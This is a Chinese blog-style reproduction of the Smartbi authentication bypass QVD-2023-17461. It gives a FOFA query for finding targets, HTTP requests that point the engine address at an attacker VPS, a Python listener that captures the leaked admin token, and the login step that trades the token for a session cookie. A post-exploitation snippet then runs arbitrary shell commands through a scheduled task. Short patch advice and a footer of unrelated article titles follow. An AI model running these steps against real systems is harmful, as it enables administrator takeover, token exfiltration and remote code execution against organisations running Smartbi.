Smartbi 权限绕过漏洞复现(QVD-2023-17461)

0x01 产品简介

   Smartbi大数据分析产品融合BI定义的所有阶段,对接各种业务数据库、数据仓库和大数据分析平台,进行加工处理、分析挖掘和可视化展现;满足所有用户的各种数据分析应用需求,如大数据分析、可视化分析、探索式分析、复杂报表、应用分享等等。

0x02 漏洞概述

    Smartbi在特定情况下可被获取用户token,未经授权的攻击者可通过这种方式获取管理员权限,从而以管理员权限接管后台,进一步利用可实现任意代码执行。利用此漏洞需目标可出网。  

0x03 影响范围

  V6 <= Smartbi <= V10

0x04 复现环境

FOFA:app="SMARTBI"

c9043c3d0bdc4b84888755d49baca9e3.png

0x05 漏洞复现

 更新内部引擎地址

POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1
Host: your-ip
Content-Type: application/jsonhttp://vpsip:8000

6b9b1d116b294f56a943a172979fbc70.png

 PS:有的环境url不一样,区别在于有没有多一层“/smartbi” 目录,自行根据实际环境测试,如下

f379e7c7ce0245f2a4733423f140ed51.png

56df95d82deb4aae91342eda69287fff.png 验证地址更新的情况 

POST /smartbi/smartbix/api/monitor/engineInfo HTTP/1.1
Host: your-ip
Content-Type: application/json

c9aa86edc7334a5ba8dcffa9b6bfb724.png

 发送管理员token到vps(不能使用nc监听,由于nc监听或者返回的值不是json格式,导致报错,获取的token没被存入对应的变量中,无法进行绕过,所以需要手动编写⼀个http服务,用于监听返回的数据为任意json格式)

脚本:

import json
from http.server import BaseHTTPRequestHandler, HTTPServerclass RequestHandler(BaseHTTPRequestHandler):def do_POST(self):content_length = int(self.headers['Content-Length'])post_data = self.rfile.read(content_length).decode('utf-8')print(f'Received data: {post_data}')# 解析post_data,并构建要返回的JSON数据data = json.loads(post_data)response = {'message': 'Data received successfully'}# 设置响应头和状态码self.send_response(200)self.send_header('Content-type', 'application/json')self.end_headers()# 将JSON数据转换为字节流并发送回客户端self.wfile.write(json.dumps(response).encode('utf-8'))def run_server():server_address = ('', 8000)httpd = HTTPServer(server_address, RequestHandler)print('Server is running...')httpd.serve_forever()if __name__ == '__main__':run_server()

原理:使用http.server模块来创建一个基于HTTP协议的服务器。它监听本地的8000端口,并在收到POST请求时,将请求体中的数据解析为JSON格式。然后构建一个包含成功消息的JSON响应,并将其发送回客户端。

开启监听,发送token

54ae89e31c954a10b567fb9284848e0b.png

POST /smartbi/smartbix/api/monitor/token HTTP/1.1
Host: your-ip
Content-Type: application/jsonexperiment

6c5903aa9b0640acb72ba205f4a6df07.png

 8fe20ec1313e4ac3b60162db02d0e70c.png

利用管理员token 获取登录后的cookie

POST /smartbi/smartbix/api/monitor/login HTTP/1.1
Host: your-ip
Content-Type: application/json获取到的管理员token

59af1c5d06c3423b9554ff7d4d8c418a.png PS:必须是true,false不管用

替换cookie接管后台

c324629913d14b599e845733b3208ccf.png

替换完刷新页面即可 

ac0f08a7d6d94c439889effb82b92b89.png

 后利用思路:计划任务RCE

importPackage(Packages.java.lang);
importPackage(Packages.java.io);
importPackage(Packages.smartbi.repository);
importPackage(Packages.smartbi.util);
importPackage(Packages.java.util);builder = new ProcessBuilder();
builder.command("sh", "-c", "执行的命令");
builder.directory(new File(System.getProperty("user.home")));
process = builder.start();

0x06 修复建议

临时缓解方案

通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求。

升级修复方案

目前官方已发布补丁,建议受影响用户尽快更新至 2023-07-28 安全补丁包:

https://www.smartbi.com.cn/patchinfo

  

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/60663.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【积水成渊】uniapp高级玩法分享

大家好&#xff0c;我是csdn的博主&#xff1a;lqj_本人 这是我的个人博客主页&#xff1a; lqj_本人_python人工智能视觉&#xff08;opencv&#xff09;从入门到实战,前端,微信小程序-CSDN博客 最新的uniapp毕业设计专栏也放在下方了&#xff1a; https://blog.csdn.net/lbcy…

JavaEE——网络初识 (简单介绍两种协议以及网络通信的基础概念)

文章目录 一、简单了解网络发展二、网络通信基础认识三、利用UDP举例解释网络信息传输 一、简单了解网络发展 总的来讲&#xff0c;网络的发展史就是&#xff0c;先是一小部分的计算机之间连接通信&#xff0c;随着技术发展&#xff0c;逐渐扩大范围&#xff0c;形成了我们当前…

ROS实现机器人移动

开源项目 使用是github上六合机器人工坊的项目。 https://github.com/6-robot/wpr_simulation.git 机器人运动模型 运动模型如下所示&#xff1a;&#x1f447; 机器人运动的消息包&#xff1a; 实现思路&#xff1a;&#x1f447;   为什么要使用/cmd_vel话题。因为这…

Tcp的粘包和半包问题及解决方案

目录 粘包&#xff1a; 半包&#xff1a; 应用进程如何解读字节流&#xff1f;如何解决粘包和半包问题&#xff1f; ①&#xff1a;固定长度 ②&#xff1a;分隔符 ③&#xff1a;固定长度字段存储内容的长度信息 粘包&#xff1a; 一次接收到多个消息&#xff0c;粘包 应…

FFmpeg 硬编码VideoToolBox流程

介绍 FFmpeg已经提供对 VideoToolBox 的编解码支持&#xff1b;主要涉及到的文件有videotoolbox.c、videotoolbox.h、videotoolboxenc.c、ffmepg_videotoolbox.c。在编译 FFmpeg 源码时&#xff0c;想要支持VideoToolBox&#xff0c;在 configure 时&#xff0c;需要–enable-…

AcWing算法提高课-1.3.17背包问题求具体方案

宣传一下算法提高课整理 <— CSDN个人主页&#xff1a;更好的阅读体验 <— 本题链接&#xff08;AcWing&#xff09; 点这里 题目描述 有 N N N 件物品和一个容量是 V V V 的背包。每件物品只能使用一次。 第 i i i 件物品的体积是 v i v_i vi​&#xff0c;价值…

2023年,App运行小游戏,可以玩出什么创意?

疫情过后&#xff0c;一地鸡毛。游戏行业的日子也不好过。来看看移动游戏收入&#xff1a;2022年&#xff0c;移动游戏收入达到920亿美元&#xff0c;同比下降6.4%。这告诉我们&#xff0c;2022年对移动游戏市场来说是一个小挫折。 但不管是下挫还是上升&#xff0c;移动游戏市…

Mac unsupported architecture

&#xff08;瓜是长大在营养肥料里的最甜&#xff0c;天才是长在恶性土壤中的最好。——培根&#xff09; unsupported architecture 在mac的m系列芯片中容易出现此类问题&#xff0c;因为m系列是arm64的芯片架构&#xff0c;而有些nodejs版本或npm包的芯片架构是x86的&#x…

解码大众全新数字高尔夫8汽车CAN FD行驶功能电气架构

据在大众原厂的伙伴介绍&#xff0c;全新数字高尔夫8将在11月上市销售&#xff0c;目前高尔夫8在行驶功能电气架构上采用的CAN FD&#xff0c;在多媒体这一块采用的以太网&#xff0c;后续估计大部分类似同样MQBEvo平台的车型均会复制升级过来&#xff0c;那么&#xff0c;未来…

福布斯发布2023云计算100强榜单,全球流程挖掘领导者Celonis排名17

近日&#xff0c;全球流程挖掘领导者Celonis入选福布斯2023 年云计算 100 强榜单&#xff0c;估值130亿美元&#xff0c;排名第17&#xff0c;Celonis已经是连续三年跻身榜单前20名。 本次榜单由福布斯与Bessemer Venture Partners和Salesforce Ventures联合发布&#xff0c;旨…

OSPF 动态路由协议 路由传递

影响OSPF路由选择的因素&#xff1a; 1.OSPF路由的开销值&#xff1a;宽带参考值默认为100. COST1000/接口带宽。此时接口 带宽的值可更改&#xff0c;更改后只改变参考数值&#xff0c;带宽仍然为初始值。 注意&#xff1a;更改COST需要 在路由的入方向&#xff0c;数据的出方…

Elasticsearch之kibana相关命令

1.中文分词器相关命令 2.拼音分词器相关命令